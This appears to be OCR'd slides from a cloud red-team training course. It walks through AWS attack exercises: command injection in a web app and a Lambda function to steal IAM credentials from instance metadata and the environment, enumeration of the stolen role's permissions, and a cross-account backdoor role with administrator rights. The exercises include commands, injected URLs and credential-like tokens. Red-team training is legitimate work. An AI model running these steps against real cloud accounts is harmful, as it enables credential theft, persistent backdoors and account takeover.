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HYBRID MULTI CLOUD RED TEAM

SECTION - B : ATTACKS IN HYBRID MULTI CLOUD ENVIRONMENT

Module 1 : Attacking AWS Cloud Environment Module 3 : Attacking Azure Cloud / Office 365
e Initial Access by exploiting public facing app e Initial Access by lllicit Consent Grant Attack
e  Persistence by Cross Account Backdoor e  Persistence by Service Principal App Role Permission
e  Privilege Escalation by Excessive IAM Permission e  Privilege Escalation by Exploiting Azure Automation Accounts.
e  Credential Hunting from Snapshots e  Credentia Hunting from Azure Key Vault
e Breaching the Boundary of Virtual Private Cloud e Lateral Movement using Azure MDM Solution

Module 2 : Attacking Google Cloud / Workspace Module 4 : Attacking Active Directory Environment

o ) e  On-Premise Initial Access by LLMNR/NBT-NS Poisoning and SMB Relay

e Initial access by Leaked Service Account Key
. _ e Active Directory Persistence by Golden Key Attack

e Persistence Access by Service Account Secondary Key

o . . _ o e  Privilege Escalation by abusing ACLs
e  Privilege escalation by Compromised Editor Default Permission

o . _ . - e Credential Access from Domain Controller & Workstations
e  Privilege Escalation & Credential extraction by Exploiting GKE

. e Lateral Movement from On-Premise to Cloud

e Cross Project Lateral Movement
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Module 1 : Attacking AWS Cloud Environment

Exercises :

 Initial Access by exploiting public facing app

* Persistence by Cross Account Backdoor
 Privilege Escalation by Excessive IAM Permission
» Credential Hunting from Snapshots

« Breaching the Boundary of Virtual Private Cloud

« Defence Evasion by Cloud Logging Disruptions



EXERCISE : AWS - 1

Initial Access by Exploiting Public Facing APP



ATTACK : Initial Access by Exploiting Public Facing Application Running on EC2 Instance

EC2 INSTANCE
1. Exploit Public App & Retrieve Temporary
Credential from AWS Metadata =
App
/ @ / PUbIlC EXpOSGd
Web App |
Exploit Internet 2. Retrieve gmsrance
. ole
Metadata attached
3. Temporary Credential
Exfi . .
AWSCli xfiltration & AWS CLI Configured STS
169.254.169.254
ATTACKER -
SYSTEM 4. Gaining Accgss to AWS Cloud With Other AWS
Stolen Credential Services

AWS ACCOUNT



Step 1 : Enumerate the URL of public facing application and Exploit the existing vulnerability.

http://app.atomic-nuclear.site/service.php?cmd=hostname

phpinfo()

- C @

o\ Kali Linux X Kali Training X Kali Tools X Kali Forums

atomic-nuclear.site
< Kali Docs e\ NetHunter

ip-172-31-25-225.us-east-2.compute.internal

Offensive Security MSFU Exploit-DB

System Linux ip-172-31-25-225.us-east-2.compute.internal 4.14.243-185.433.amzn2.x86_64 #1 SMP Mon
Aug 9 05:55:52 UTC 2021 x86_64

Build Date Oct 21 2020 18:04:56

Server API FPM/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc

Loaded Configuration File fetc/php.ini

Scan this dir for additional .ini files fetc/php.d

Additional .ini files parsed

fetc/php.d/20-bz2.ini, /etc/php.d/20-calendar.ini, /etc/php.d/20-ctype.ini, fetc/php.d/20-exif.ini,
fetc/php.d/20-fileinfo.ini, fetc/php.d/20-ftp.ini, /etc/php.d/20-gettext.ini, /etc/php.d/20-iconv.ini,
Jetc/php.d/20-json.ini, /etc/php.d/20-mysqind.ini, /etc/php.d/20-pdo.ini, /etc/php.d/20-phar.ini,
Jetc/php.d/20-sockets.ini, /etc/php.d/20-sqlite3.ini, /etc/php.d/20-tokenizer.ini, fetc/php.d/20-zip.ini,
fetc/php.d/25-curl.ini, /etc/php.d/30-mysqli.ini, /etc/php.d/30-pdo_mysql.ini, /etc/php.d/30-
pdo_sqlite.ini

PHP API

20170718

PHP Extension

20170718



http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/

Step 2 : Retrieve Metadata from IMDS Service.

http://app.atomic-nuclear.site/service.php?cmd=curl http://169.254.169.254/latest/meta-data/

phpinfo()

< C @ Bl atomic-nuclear.site

o\ Kali Linux X Kali Training X Kali Tools X Kali Forums ¢ KaliDocs e\ NetHunter Offensive Security MSFU Exploit-DB GHDB

ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type |
local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hosthname public-ipv4 public-keys/ reservation-id security-groups services/

System Linux ip-172-31-25-225.us-east-2.compute.internal 4.14.243-185.433.amzn2.x86_64 #1 SMP Mon
Aug 9 05:55:52 UTC 2021 x86_64

Build Date Oct 21 2020 18:04:56

Server API FPM/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc

Loaded Configuration File fetc/php.ini

Scan this dir for additional .ini files fetc/php.d

Additional .ini files parsed fetc/php.d/20-bz2.ini, /etc/php.d/20-calendar.ini, /etc/php.d/20-ctype.ini, /etc/php.d/20-exif.ini,
fetc/php.d/20-fileinfo.ini, fetc/php.d/20-ftp.ini, /etc/php.d/20-gettext.ini, /etc/php.d/20-iconv.ini,
fetc/php.d/20-json.ini, fetc/php.d/20-mysqind.ini, /etc/php.d/20-pdo.ini, /etc/php.d/20-phar.ini,
Jetc/php.d/20-sockets.ini, /etc/php.d/20-sglite3.ini, /etc/php.d/20-tokenizer.ini, /fetc/php.d/20-zip.ini,
fetc/php.d/25-curl.ini, /etc/php.d/30-mysqli.ini, /etc/php.d/30-pdo_mysql.ini, /etc/php.d/30-
pdo_sqlite.ini

PHP API 20170718



http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/

Step 3 : Retrieve IAM Temporary Credential form IMDS Endpoint.
http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Read O

nlyAccess

o C ® O 4 atomic-nuclear.site

o\ Kali Linux X Kali Training X Kali Tools X Kali Forums ¢ Kali Docs e NetHunter Offensive Security MSFU Exploit-DB GHDB #%» New Tab

{ "Code" : "Success", "LastUpdated" : "2021-09-10T09:18:17Z", "Type" : "AWS-HMAC", "AccessKeyld" : "ASIAUI7PQBNF4QT25LLN", "SecretAccessKey" :
"ys3GOILSCmm+xpVszILSXidnAO95)FflolIFpPMkG", "Token" : "IQo)b3)pZ2IuX2VjEIn/////1//I/WEaCXVzLWVhc3QtMi)JGMEQCIHgA579)JaDvOqC
/MXTEXjE99+D9xsvWNqKozCDLyP0OogAiBoOLVBNVWQQchEbZBPakMNwF7UBSfqUIgEYKr7zuxvnSqDBAjS
/11111////8BEAAaDDISNDE3MDY10TY10SIMVzRKod3dXCukUxTEKtcDf1MURIvI6AeyfGB+8MSbk
/U/20LPyqOAfKASRvjw1jxq8z7cdjsUABx5atmUM88M1ixSgP3pibXyL9wCVij9cogkdnC801BiK1fFPaTXCWdMT3bnXWAASvvYvqTFQ1M4ithhrV
/rAy3sK+PD2xBxXTK9ZhIX54iRqxd1hAIOxMDejSMcNVXVFEOHrshiIMkzdo9Ab)LzfujxW90e+M0OQZIwiiDgluYKXp8kz1Qdsq5D0TzkXuD+r5B7KZZxKYLuzK1I1xjqPOEi
/4BA6bw6E4yrBXOwm5zeAlOcYIMP3AF6alyQoSg360AAt30WNWfeY/OdrJHpA7YE20TU9eQZMHO6)w)IWd4/BsN6dFIMBGytIFBy3ja
/h67clIVglLxH6dmuP8fwBPCAck1LAQWCwdoNM21oUkiFgRIXjwOy6DEkej9111ArdzCqJUtgqZ4 XKdFBzY4q9RaLBH6HX
/InWATmZoCZ)sMFfp+TRZ10KU9Nia6Wh7cA8ZG8cbycBYxYxgtad2w47uvlR2ZkCOIBWpb3gMTerVt74nix11Z26S)Gbm33N5wG0zHe+Bnneye3zE/nCN4nOugD8riZhublBvHzUtcKopihGglKQ
/80CGkecvQ1lcYvmY80uUwMMDF71kGOqYBROskr64faASYH9pQXHJatqHuUxX0PES56gp/v+m/skmOgZIHkdF7m3ataPM7drj4ULSLxn1jUS2i)jfgDf8Uqu5CgG/L1ytZ1
/QmDg8iUDjYcYTnBdmEKFTjPCB3MTKIa5HBIE/OdtX39lj2sjwVzTi6cd7c7D8nei)XqlFozQV68DD0ZGYMmWCqN1HHj8IHI95XjVsGO1XYTaMXD47bzcKtHkGWz4WMWQ==", "Expiration" :

"2021-09-10T15:52:52Z" }

php

System Linux ip-172-31-25-225.us-east-2.compute.internal 4.14.243-185.433.amzn2.x86_64 #1 SMP Mon
Aug 9 05:55:52 UTC 2021 x86_64

Build Date Oct 21 2020 18:04:56

Server API FPM/FastCGI

Virtual Directory Support disabled



http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2ReadOnlyAccess
http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2ReadOnlyAccess

Step 4 : Setting up IAM Temporary Credential in The Environment Variables.

export AWS_ACCESS_KEY_ID=
export AWS _SECRET ACCESS_KEY=
export AWS_SESSION_TOKEN=

: root@kali: /lhome/kali

File Actions Edit View Help

o /home/kali
AWS_ ACCESS_KEY_ID=ASTAUI7PQBNF4QT25LLN

® /home/kali
AWS_SECRET_ACCESS_KEY=ys3GOIL5Cmm+xpVszILSXidnA095IFfLoIFpPMKG

e /home/kali

AWS_SESSION_TOKEN=IQoJb3J)pZ2l\uX2V3iEIn//////////wEaCXVZLWVhc3QtM1IGMEQCIHgAS579JaDv0qC/mXTEXJE99+D9xsvWNqKozCDLyP
00gA1BoOLVBNVWQQchEbZBPakMNwF7UBSfqUIgEYKr7zuxvnSqDBAjIS//////////8BEAAADDISNDE3MDY10TY10SIMVZRKod3dXCukUXTEKtcDf1IMURLv16Ae
yfGB+8MSbk/U/20LPyqOAfKASRVJwljxq8z7cdjsUA8x5atmUM88M11ixSgP3pibXyL9wCVil9cogkdnC801BiK1fFPaTXCWAMT3bnXWAASvvYvqTFQIM41thhr
V/rAy3sK+PD2xBxXTK9ZhIX541Rqxd1hALl@xMDe jSMCNVXVFfEOHrshlMkzdo9AbJILzfujxW90e+MO0QZIwiiDgIuYKXp8kz1QdsqSDOTzkXuD+r5B7KZZxKYLu
zK1IxjqPOE1/4BA6bWEE4YrBXOwmS5zeAIOCY LMP3AF6aLyQoSg360AAt30wNWfeY/0drJHpA7YE20TU9eQZMHO6IwI1Wd4 /BsN6dFIM8GYt1FBy3ja/h67¢c11IV
gLxH6dmuP8 fwBPCACk1LAQWCwdoNM21oUkiFgRIX jwOy6DEkej911IArdzCqlutgqZ4XKdFBzY4q9RaLBHEHX/ nwA7mZoCZIsMFfp+TRZ10KU9IN1a6Wh7cABZG
8cbycBYxYxgta42w47uviR2ZKkCOIBWpb3gMTerVt74nix11Z6SIGbm33N5wG0zHe+Bnneye3zE/nCN4nOugD8rIZhublBvHzUtcKopihGqlKQ/80CGkcvQlcYy
mY80uUwWMMDF7IkGOqQYBROskr64faASYHI9pQXHIatqHUxXOPES6gp/v+m/skmOgZ1HkdF7m3ataPM7drJ4ULSLxn1jUS21]jfqDf8Uqu5CegG/L1ytZ1/QmDg81iU
DIYcYTnBAmEKFTIPCB3MTK1a5HBLE/@dtX391 725 wVzT16cd7¢c7D8neilXqIlFozQV68DDOZGYmMWCQNIHH I8 LHO5XIVSsGO1XYTaMXD47bzcKtHkGWzZ 4WMWQ=




Step 5 : Verify the IAM Temporary Credential Identity.

aws sts get-caller-identity

' root@kali: /home/kali

File Actions Edit View Help

® /home/kali
sts get-caller-identity

"UserId": "AROAUI7PQBNFSZPRPRBWN:1-0f66ab725839fad5c”,
"Account®: "294170659659",
"Arn": "arn:aws:sts::294170659659:assumed-role/EC2ReadOnlyAccess/1-0f66ab725839fad5c”

11



Step 6 : Get the information about specified role.

aws iam get-role --role-name EC2ReadOnlyAccess

e /home/kali
iam get-role EC2ReadOnlyAccess

"Role": {
e Patht Aty =
"RoleName": "EC2ReadOnlyAccess”,
"RoleId": "AROAUI7PQBNFSZPRPRBWN",
"Arn": "arn:aws:iam::294170659659:role/EC2ReadOnlyAccess”,
"CreateDate”: "2021-09-08T08:50:06+00:00",
"AssumeRolePolicyDocument”™: {
"Version": "2012-10-17",
"Statement™: [
{
"Effect™: "Allow",
"Principal”: {
"Service": "ec2.amazonaws.com”

"Action": "sts:AssumeRole”
]
5o

"Description”: "Allows EC2 instances to call AWS services on your behalf.",

"MaxSessionDuration”: 3600,

"RoleLastUsed"™: {
"LastUsedDate"™: "2021-09-10T09:27:40+00:00",
"Region”: "us-east-2"




Step 7 : List of Inline policies embedded to the specified role.

aws iam list-role-policies --role-name EC2ReadOnlyAccess

e /home/kali
iam list-role-policies EC2ReadOnlyAccess

"PolicyNames": []

Step 8 : List of managed policies attached to the specified role.

aws iam list-attached-role-policies --role-name EC2ReadOnlyAccess

e /home/kali
iam list-attached-role-policies EC2ReadOnlyAccess

"AttachedPolicies": [
{

"PolicyName": "ReadOnlyAccess”,
"PolicyArn”™: "arn:aws:iam::aws:policy/ReadOnlyAccess”

13



Step 9 : List of permissions in the specified policy.

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --version-id v1

® /home/kali
iam get-policy-version arn:aws:iam:: aws:policy/ReadOnlyAccess

"PolicyVersion": {
"Document”: {
"Version": "2012-10-17",
"Statement": [
{
"Action”: [
"appstream:Getx",
"autoscaling:Describex",
"cloudformation:DescribeStacks”,
"cloudformation:DescribeStackEvents”,
"cloudformation:DescribeStackResource”,
"cloudformation:DescribeStackResources”,
"cloudformation:GetTemplate",
"cloudformation:List=",
"cloudfront:Getx",
"cloudfront:List=",
"cloudtrail:DescribeTrails”,
"cloudtrail:GetTrailStatus”,
"cloudwatch:Describex",
"cloudwatch:Getx",
"cloudwatch:Listx",
"directconnect:Describex",
"dynamodb:GetItem”,
"dynamodb:BatchGetItem"”,
“"dynamodb:Query”,




Step 10 : Enumerating list of permission assigned to a role using automated scripts.

python3 weirdAAL.py -m recon_all -t MyVictim

kali@kali: ~
File Actions Edit View Help

e /home/kali/CHMRTS/AWS /weirdAAL
weirdAAL.py recon_all MyVictim

Account Id: 294170659659

Root Key!!! [or IAM access]

Printing Account Summary

{ 'AccessKeysPerUserQuota': 2,
'AccountAccessKeysPresent': 0,
'AccountMFAEnabled': 0,
'AccountSigningCertificatesPresent': 0,
'AssumeRolePolicySizeQuota': 2048,
'AttachedPoliciesPerGroupQuota’: 10,
'AttachedPoliciesPerRoleQuota’': 10,
'AttachedPoliciesPerUserQuota’': 10,
'GlobalEndpointTokenVersion': 1,
'GroupPolicySizeQuota': 5120,
'Groups': 0,
'GroupsPerUserQuota': 10,
'GroupsQuota’: 300,
'InstanceProfiles': 1,
'InstanceProfilesQuota': 1000,
'MFADevices': 0,
'MFADevicesInUse': 0,
'Policies': 0,
'PoliciesQuota’: 1500,
'PolicySizeQuota': 6144,
'PolicyVersionsInUse': 6,
'PolicyVersionsInUseQuota': 10000,
'Providers’': 1,
"RolePolicySizeQuota’': 10240,
'Roles': 6,
"RolesQuota’: 1000,
'ServerCertificates': 0,




'RolesQuota’: 1000,
'ServerCertificates': 0,
'ServerCertificatesQuota': 20,
'SigningCertificatesPerUserQuota': 2,
'"UserPolicySizeQuota': 2048,
'Users': 2,
'UsersQuota’: 5000,
'VersionsPerPolicyQuota': 5}
Printing Users
"Arn': 'arn:aws:iam::294170659659:user/AWS-Account-Admin@atomic-nuclear.site’,
'CreateDate': datetime.datetime(2021, 9, 1, 12, 43, 53, tzinfo=tzutc()),
‘Pathlz Y,
'UserId': 'AIDAUI7PQBNFRWCXMPKYS',
'"UserName': 'AWS-Account-Admin@atomic-nuclear.site'},
'Arn': 'arn:aws:iam::294170659659:user/manish@atomic-nuclear.site’,
'CreateDate': datetime.datetime(2021, 9, 1, 12, 45, 7, tzinfo=tzutc()),
‘Path': /5
"UserId': 'AIDAUI7PQBNFXABSUQCXR',
"UserName': 'manish@atomic-nuclear.site'}]
Checking for console access
User AWS-Account-Admin@atomic-nuclear.site likely has console access and the password can be reset :-)
Checking for MFA on account
[]
User manish@atomic-nuclear.site likely has console access and the password can be reset :-)
Checking for MFA on account
[]
it Enumerating AccessAnalyzer Permissions #iH#
ListAnalyzers IS allowed

[+] accessanalyzer Actions allowed are [+]
['ListAnalyzers']

it Enumerating ACM Permissions ###




EXERCISE : AWS - 2

Persistence by Cross Account Backdoor



ATTACK : Persistence by Cross Account Backdoor

Victim AWS Account

(1) Create a role and add
attacker ARN as principal

9 IAM role
or assume role

Attacker AWS Account

IAM user (2) request f Service: AWS
Unique Principal: Attacker ARN
ARN
(3) Response temporary token
Admin
(4) Configure with Policy
temporary token
AWS CLI AWS
(5) Access victim AWS Services with services

backdoor account credential account



Step 1: Get the identity of the attacker - Attacker

aws sts get-caller-identity --profile persistence-user

PS C:\Users\Hacker> aws sts get-caller-identity | persistance-user

{

"UserId": "AIDA6RT2GZTIK3ZFYFUZD",

"Account": "999909936336",
"Arn": "arn:aws:iam::999909936336:user/persistence-user"

Step 2 : List of attached policies to the attacker account. - Attacker

aws iam list-attached-user-policies --user-name persistence-user --profile persistance-user

PS C:\Users\Hacker> aws iam list-attached-user-policies \ame persistence-user

{
"AttachedPolicies": [

{

"PolicyName": "assume-policy",
"PolicyArn": "arn:aws:iam::999909936336:policy/assume-policy"

persistance-user




Step 3 : Get the permissions assign to the attached policy of the attacker account. - Attacker

aws iam get-policy-version --policy-arn arn:aws:iam::999909936336:policy/assume-policy --version-id v1 --profile persistence-use

PS C:\Users\Hacker> aws iam get—-policy-version ‘ arn:aws:iam: :999909936336:policy/assume—policy
vl ‘ofile persistance-user

{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "sts:x",
"Resource": "*"

]
3,
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2021-10-01T09:58:44+00




Step 4 :login to the victim account and add the backdoor of attacker account . - Victim

aws iam get-policy-version --policy-arn arn:aws:iam::999909936336:policy/assume-policy --version-id v1 --profile persistence-use

. Delete =
AssumeRole-Persistence
Summary Edit
Creation date ARN Link to switch roles in console
May 01, 2022, 16:44 (UTC+05:30) 1 arn:aws:iam::294170659659:role/AssumeRole-Persist = €] https://signin.aws.amazon.com/switchrole?roleName
ence =AssumeRole-Persistence&account=294170659659

Last activity Maximum session duration
None 1 hour

Permissions Trust relationships Tags Access Advisor Revoke sessions

Trusted entities Edit trust policy

Entities that can assume this role under specified conditions.

1v ({

2 "Version": "2012-10-17",

3 "Statement”: [

a4~

5 "Effect”: "Allow",

6~ "Principal”: {

7 "AWS": "arn:aws:iam::999909936336:root"
8 }>

9 "Action": "sts:AssumeRole",
10 "Condition": {}

11 }

12

13 [}



Step 4 : Retrieve the temporary access token of victim aws account by assume backdoor role. - Attacker

aws sts assume-role --role-arn "arn:aws:iam::294170659659:role/AssumeRole-Persistence" --role-session-name AWSCLI-Session --profile
persistence-user

PS C:\Users\Hacker> aws sts assume-role
AWSCLI-Session file persistance-user

{

"Credentials": {

"AccessKeyId": "ASIAUI7PQBNF5ASWGKED",

"SecretAccessKey": "PZNOAtKdreCi6VnTowAcwpUYIEFesXCRLI9VAv4UL",

"SessionToken": "FwoGZXIvYXdzEJT//////////wEaDHBtIH+5mT1i4H30bCKYAbECiFuBvwoK5UZH2ULywjAmKYXPW31lw3hNuB2tWTiOesHi
NARzsC3jnY37AIF6ecOWAEC6ITII9wQHRMXtu®x90SmjgXaté6nAbagul FP+cWIXpFZ/crFUQxTmAPbcJYweJqQsOBXLXtW3Ktm2VZ3i0SoHOfx1ZgX2E5g6v
knssAARjukOh+If8EZUMBHdg+rBlmUdIYnfsZELPO2mm9+SfNU1sMGGQubUOPwfTySF5yKIcolsPbigYyLb5SW1kRnGqO9U4EWM968PBP9v3m9Kto6jehdICqi
LNEgDnxIh5qMupP2d/0jGjA==",

"Expiration": "2021-10-01T11:24:22+00:00"

},
"AssumedRoleUser": {
"AssumedRoleId": "AROAUI7PQBNF553J7KUCL:AWSCLI-Session",
"Arn": "arn:aws:sts::294170659659:assumed-role/AssumeRole-Persistence/AWSCLI-Session"




Step 5 : Configure separate terminal for AWS CLI with temporary access token of the victim aws account
export AWS_ACCESS_KEY _ID=
export AWS_SECRET_ACCESS _KEY=
export AWS SESSION_TOKEN=

:~$ export AWS ACCESS KEY_ ID=ASIAUI7PQBNF5ASWGKED
:~$ export AWS SECRET_ACCESS KEY=PZNOAtK4reCi6VnTowAcwpUYIEFesXCRI1IOVAvAL
:~$ export AWS SESSION TOKEN=FwoGZXIvYXdzEJT//////////wEaDHBtIH+5mT1i4H30bCKyAbECiFuBvwoK5UZH2ULywjAmK

YXPW31w3hNuBZtWTloesHlNARzsC3]nY37AIF6ecOWAEC6ITII9wQHRMXtu@x9oSmjgXat6nAbaguLFP+cWIXpFZ/chUQmeAPbcJYweJqu@BXLXtWBK
tm2VZ310SoHOTx1ZgX2E5g6vknssAARjukOhTIF8EZ4MBHAg+rBlmUdIYnfsZELPO2mm9+STN41sMGGQubUOPWTTYSF5yKIcolsPbigYyLb5W1kRnGq094
EWm968PBP9v3m9Kto6jehdICqiLNEgDNnXxIh5gMupP2d/0jGjA==

Step 6 : Get the identity of the current configured access token

aws sts get-caller-identity

$ aws sts get-caller-identity

"UserId"”: "AROAUI7PQBNF553J7KUCL:AWSCLI-Session”,

"Account”: "294170659659",
"Arn": "arn:aws:sts::294170659659:assumed-role/AssumeRole-Persistence/AWSCLI-Session”




Step 7 : List of policies attached to the backdoored role.

aws iam list-attached-role-policies --role-name AssumeRole-Persistence

r-PC:~% aws iam list-attached-role-policies --role-name AssumeRole-Persistence

"AttachedPolicies”: [
{

"PolicyName": "AdministratorAccess”,
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess”




Step 8 : Get the permissions assigned to the policy of the backdoored role.

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1

JHacker-PC:~$ aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v

"PolicyVersion": {
"Document™: {
"Version": "2012-10-17",
"Statement": [
{
“Effect”: "Allow”,
“Action”: "*°,
"Resource": "*"

]
}s

“Versionid®: “vi1“,
"IsDefaultVersion": true,
"CreateDate": "2015-02-06T18:39:46+00:




EXERCISE : AWS -3

Privilege Escalation by Excessive IAM Permission
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1. Exploit Vulnerable
Initial Access @ P Lambda

i functionl
Web client Lambda Function

Low Priv

AWS CLI /3. Create a New Lambda Fun-\ 1 ampqa
and Attach High Priv Role function2

High Priv AWS CLI

5. Access AWS services with High privilege Rights

Role attached with

Lambda Function 1

Role attached with

Lambda Function 2

lam: PassRole
Lambda Admin

AWS Admin Role

VICTIM

amazon

webservices™

AWS
Services



Step 1 : Exploit Vulnerable Lambda Function and Retrieve Temporary Access Token

https://uaqo1yihi2.execute-api.us-east-2.amazonaws.com/default/Prod-Serverless-Func?cmd=env

< C @ uaqolyihi2.execute-api.us-east-2.amazonaws.com/default/Prod-Serverless-Func?cmd=env W O @ :

"AWS_LAMBDA_FUNCTION_VERSION=$LATEST\nAWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDMaCXVzLWVhc3QtMiJIMEYCIQCPQTLXXsqgSxXrtkShIjluxr5ePELF2IVPPDVMznpGEGIhAPYIFsHIELngLoXIbp2qro+kCoNKYKtLXSZYF7EfDG+UKqICCKz//////////wEQABOM
M7k@MTcwhjUSNIUSIgyZDMbIQL+NTasi6Ecq9gFGZI10p0DOW+QUSSGg5u7MTKgSuTwL058S IMtBINY s 2w2c4piB6I0tnbgkSNmWfurxyxyglyjhBAWU7xoX1iyDvwlE/Ga68IqdHO53dEkrqxTth8BuAXFYgyEpulpJvxMU21phKwo@KMsyCWeffglISBEWC1zEjITz5n079HfgEyie
bEkcCImaFVNB+/aNX61leaCfFItDv383qFaKv/hRAsa0aqCBGetGOhOYFMNICVqqEF3nE7nFPnLa0BfLxoWAKPqZvCiljI3Avgt7194kMoW+GtkihIguSr6clapjpDSH7So/ jArHcgDuvxfEwjI0DIoBQYpQuw26+CiwY6mQGousngVUlAWe7tmhlcec56sC8+rrx66usbEa8lluw3dB2Z
8djtqNuShpx0TiZHgrtFgkjadVw/AubViViMg8hh5UTF13SIdLulXnsKuMFyDScU@O8IyPWOhzhIT8WPg2vinIHCYdnlcxbN4quv7DEjbM3BOYtIOfZISOTy6bnqls+VzTc659F jF91H84tU4L/LrIuoBWfxDB4cw=\nLD_LIBRARY_PATH=/var/lang/lib:/1ib64:/usr/1ib64: /v
ar/runtime:/var/runtime/lib: /var/task:/var/task/1lib:/opt/1ib\nLAMBDA_TASK_R0OOT=/var/task\nAWS_LAMBDA LOG_GROUP_NAME=/aws/lambda/Prod-Serverless-

Func\nAWS_LAMBDA RUNTIME_API=127.0.0.1:9001\nAWS_LAMBDA LOG_STREAM NAME=2021/10/08/[$LATEST]111cd5374b0ed2f49465a19642c3b14b\nAWS_EXECUTION_ENV=AWS_Lambda_python3.9\nAWS_LAMBDA FUNCTION NAME=Prod-Serverless-
Func\nAWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000\nPATH=/var/lang/bin: /usr/local/bin: /usr/bin/: /bin:/opt/bin\nAWS_DEFAULT_REGION=us-east-
2\nPWD=/var/task\nAWS_SECRET_ACCESS_KEY=G3Nul/n93sdem/VL3PC1Q1x6cxKNrdDXDcgnddeV\nLAMBDA_RUNTIME DIR=/var/runtime\nLANG=en_US.UTF-8\nAWS_LAMBDA_INITIALIZATION_TYPE=on-demand\nTZ=:UTC\nAWS_REGION=us-east-
2\nAWS_ACCESS_KEY_ID=ASIAUI7PQBNF7ECKGXHS\nSHLVL=@\n_AWS_XRAY_DAEMON_ADDRESS=169.254.79.129\n_AWS_XRAY_DAEMON_PORT=2000\nAWS_XRAY_CONTEXT_MISSING=LOG_ERROR\n_HANDLER=lambda_function.lambda_handler\nAWS_LAMBDA_FUN
CTION_MEMORY_SIZE=128\nPYTHONPATH=/var/runtime\n_X_AMZN_TRACE_ID=Root=1-61609901-0e425793238cb12d5d17b3d@;Parent=2a09d55328a6312b;Sampled=0\n"

28


https://uaqo1yihi2.execute-api.us-east-2.amazonaws.com/default/Prod-Serverless-Func?cmd=env

Step 2 : Configure Temporary Access Token with AWS CLI
export AWS_ACCESS_KEY_ID=
export AWS_SECRET _ACCESS_KEY=
export AWS SESSION TOKEN=

EN  kali@kali: ~ . +

~

export AWS_ACCESS_KEY_ID=ASIAUI7PQBNF7ECKGXHS

~

export AWS_SECRET_ACCESS_KEY=G3Nul/n93stdem/VL3PCLQLx6cxKNrdDXDcgnddeV

~

export AWS_SESSION_TOKEN=IQoJb3JpZ21uX2VjEDMaCXVzLWVhc3QtMiJIMEYCIQCPQTLXXsqgSxXrtkShIjluxr5ePELF2JVPPDVMznpGEgIhAPY
IFSH1ELngLoXIbp2qr@+kCbNKYKtLXSZYf7EfDG+UKqICCKz//////////WEQABoMMjKOMTcwNjUSNjUSIgyZDMbIQL+NTasi6Ecq9gFGZI10pOD;jOW+QUSS
Gg5u7MTKgSuTwLO58SIMtBWNvs2w2clpiB6I0tnbgkSNmWfurxyxyglvjhBAwU7xoXiyDvwlE/Ga68IqdHO53dEkrqxTth8BuAxFYgyEpulpJvxMU21phKwo
OKMsyCWcf+gJISBEWCLzEjITz5n079HFqEyiebEkcCImaFVNB+/aNX6leaC+FItDv383qFaKv/hRAsalaqCBGetGOhOYFMWICVqqEF3nE7nFPnLaOBfLxoWA
KPqZvCiljJ3Avgt7I94kMOW+GtkihIgu5r6clapjpDSH7So/jArHcgDuvxfEwjIODIoBQYpQw26+CiwY6mQG6u8nqVULAWe7tmhlcec56sC8+rrx66usbEa8
1Iww3dB2Z8djtqNuShpx0TiZHgrtFgkjadVw/AubViVfMg8hh5UTF1jSJdLulXnsKuMFyDScU@O8IyPWOhzhIT8WPg2vwIHCYdnWexbNdquv7DEjbM3BOytI

0fZISOTy6bnqls+VzTc659FjF91H84tULi/LrIJuoBWFxDBUcw=




Step 3 : Retrieve the identity of the configured aws token

aws sts get-caller-identity

EY kali@kali: ~ : 4+ v

~

sts get-caller-identity

"UserId": "AROAUI7PQBNF6AIU43GOHM:Prod-Serverless—-Func",
"Account": "294170659659",

"Arn": "arn:aws:sts::294170659659:assumed-role/Lambda-FullAccessRole/Prod-Serverless—-Func"




Step 4 : Get the information about specified role attached to the vulnerable lambda function

aws iam get-role --role-name Lambda-FullAccessRole

~

iamvget—role Lambda-FullAccessRole
{
"Role”: {1
"Path" . u/n <

"RoleName": "Lambda-FullAccessRole",
"RoleId": "AROAUI7PQBNF6AIU43GOHM",
"Arn": "arn:aws:iam::294170659659:role/Lambda-FullAccessRole",
"CreateDate": "2021-10-08T18:17:15+00:00",
"AssumeRolePolicyDocument": {

"Version": "2012-10-17",

"Statement": [

{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description”: "Allows Lambda functions to call AWS services on your behalf.",

"MaxSessionDuration": 3600,
"RoleLastUsed": {}




Step 5 : List of managed policies attached to the lambda function role.

aws iam list-attached-role-policies --role-name Lambda-FullAccessRole

~

iam list-attached-role-policies Lambda-FullAccessRole

"AttachedPolicies": [
{

"PolicyName": "AWSLambda_FullAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_FullAccess"




Step 6 : Retrieve the list of permissions defined in the specified managed policy

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AWSLambda_FullAccess --version-id v1

~

iam get-policy-version arn:aws:iam: :aws:policy/AWSLambda_FullAccess

"PolicyVersion": {
"Document": {
"Version": "2612-10-17",
"Statement": [
{

"Effect": "Allow",

BAction®: [
"cloudformation:DescribeStacks",
"cloudformation:ListStackResources",
"cloudwatch:ListMetrics",
"cloudwatch:GetMetricData",
"ec2:DescribeSecurityGroups",
"ec2:DescribeSubnets",
"ec2:DescribeVpcs",
"kms:ListAliases",
"iam:GetPolicy",

